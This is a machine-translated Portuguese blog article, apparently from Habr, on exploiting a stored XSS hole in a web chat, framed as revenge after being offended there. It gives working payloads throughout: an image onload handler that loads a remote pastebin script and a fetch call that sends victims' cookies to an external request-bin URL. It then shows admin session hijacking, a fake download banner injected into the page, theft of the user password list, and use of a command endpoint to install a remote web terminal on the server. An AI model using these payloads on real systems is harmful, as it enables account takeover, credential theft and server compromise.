Explorando vulnerabilidades xss

Explorando vulnerabilidades xss



Este artigo descreve o uso de vulnerabilidades xss:


  • Roubo de Token
  • Roubo do meio ambiente
  • Alterações no conteúdo do site
  • Obtendo acesso ao sistema de hospedagem

Antecedentes



Então, você foi ao chat, ficou ofendido e agora quer se vingar. Como você pode ver na caixa de diálogo, você pode facilmente enviar html, que é uma oportunidade ideal para o xss, na realidade é improvável que você note uma brecha.


Execute o script


Temos um bate-papo com a capacidade de enviar HTML. Então, vamos verificar a possibilidade do xss console.log('XSS stage 0') e não funcionou.
Qual é o problema? O Chromium e o Firefox ignoram os scripts adicionados via innerHTML .
Ok, tente a segunda abordagem


 <img src="https://picsum.photos/200/200" onload="console.log('XSS')" /> 

XSS exibido no console significa que o código funcionou


Agora, em pastebin, criaremos um script com o qual jogaremos
Conteúdo do script:


 console.log('Script loaded') 

Para executar o script no atributo onload, escreva:


 s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s) 

E agora enviando


 <img src="https://picsum.photos/200/200" onload="s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)" /> 

todos os destinatários verão a imagem e executam o script


Rob cookies


Com o carregamento do script, descobrimos, agora iniciaremos a operação. Primeiro, os dados precisam ser enviados para algum lugar, usaremos requestbin


 //     -  const headers = new Headers() headers.append("Content-Type", "application/json") const body = { "name": "Yoda" } const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(body), } fetch("[URL]", options) 

Mas apenas enviar o mesmo texto não é interessante, vamos enviar cookies


 //     -  const headers = new Headers() headers.append("Content-Type", "application/json") const body = { "cookies": document.cookie } const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(body), } fetch("https://en9uiweslksnu.x.pipedream.net", options) 

Os cookies contêm tokens para identificar o usuário.
Em requestbin, obtemos duas solicitações com dois tokens:
-1067197389
1679211939
Como meu token é 1679211939
Então, token de administrador -1067197389
Substituindo seu token por um token de administrador, podemos escrever em seu nome


Alteração de conteúdo


Escrever como administrador é divertido, mas vamos mudar um pouco o conteúdo do site. Adicionando essas linhas ao nosso script malicioso


 let d = document.createElement('div') d.innerHTML = `<div style="position: fixed;top: 0;height: 20px;width: 100vw;color: white;text-align: center;background: purple;" onclick="document.location='/your_very_evil_program'">Download new appliction</div>` document.body.appendChild(d) document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;') 


Depois de enviarmos uma foto em nome do administrador, todos os destinatários receberão um banner que, quando clicado, leva ao nosso /your_very_evil_program


Roubo do meio ambiente


É hora de acessar o painel de administração. Portanto, verifique o que está localizado em /admin e lá somos atendidos por ACCESS DENIED. BURN IN FIRE ACCESS DENIED. BURN IN FIRE , ok, substitua o token de administrador nos cookies. E, novamente, o acesso é negado, o que significa que a autorização ocorre de alguma outra maneira. Então, pedimos ao painel de administração da máquina de administração.
Adicione ao script do mal:


 const admin = await (await fetch("/admin")).text() 

E então, ao enviar o valor de administrador para o corpo, obtemos os dados /admin


Obteremos o código de administrador


 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>Admin</title> </head> <body> Hello admin<br /> <textarea id="users" rows="20" cols="100"></textarea><br /> <button id="updUsers">Update users</button><br /><br /> <script> let fetchUsrs = fetch("/users") .then(e => e.text()) .then(e => (document.getElementById("users").value = e)); document.getElementById("updUsers").onclick = () => { fetch("/users", { body: JSON.stringify({ data: document.getElementById("users").value.toString() }), headers: { Accept: "application/json, text/plain, */*", "Content-Type": "application/json" }, method: "POST" }).then(fetchUsrs); }; function toCmd(cmd) { document.location = "http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd); } </script> <button onclick="toCmd('free --human')">Check mem</button> <button onclick="toCmd('ps')">Show procs</button> </body> </html> 

O que pode ser aprendido com isso:


  1. Há pontos de extremidade /users que retornam e aceitam usuários
  2. Existe um endpoint /exec?cmd que executa o programa
    Ambos os pontos de extremidade não nos dão acesso. Então tente puxar /users

 { "admin": "VerySecurePassword", "chiken": "COW+CHICKEN", "user001": "agent007", "justUser": "llkk", "test":"12" } 

Portanto, agora temos a senha e o login de todos os usuários do sistema e agora efetuamos login sob o administrador, obtemos acesso ao painel de administração e nos cookies aparece um cookie apenas http que permite acesso a ele


Obtendo acesso ao sistema


Como você se lembra, temos um ponto de extremidade que executa o comando, então agora podemos fazer o que quisermos, mas não é muito conveniente usá-lo, portanto, executaremos arenoso no servidor
Agora defina /exec?cmd=npm%20i%20gritty%202%3E%261
E execute /exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022
E na porta 8022, o terminal está disponível para nós


XSS - Extremamente Perigoso

Source: https://habr.com/ru/post/pt481338/


All Articles